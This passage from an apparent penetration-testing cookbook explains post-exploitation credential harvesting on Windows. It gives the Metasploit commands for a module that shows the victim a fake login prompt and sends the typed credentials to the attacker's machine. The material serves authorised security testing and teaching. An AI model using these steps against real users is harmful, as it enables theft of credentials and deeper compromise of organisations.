Credential harvesting

During a penetration test, we are not always getting sessions with system or even administrator privileges; most of the time, we will end up with a session from a successful phish which is running with user privileges. That is when credential harvesting comes to our rescue. With credential harvesting, we will try to perform a phishing attack on the target to harvest usernames, passwords, and hashes that can be used to further compromise the organization.

How to do it...

To harvest credentials, we will use the Windows Gather User Credentials post-exploitation module with which we are able to perform a phishing attack on the target by popping up a login prompt.

1. When the user types his/her credentials into the login prompt, they will be sent to our attacker machine:

msf > use post/windows/gather/phish_windows_credentials
msf post(phish_windows_credentials) > set SESSION 1
SESSION => 1
msf post(phish_windows_credentials) > run
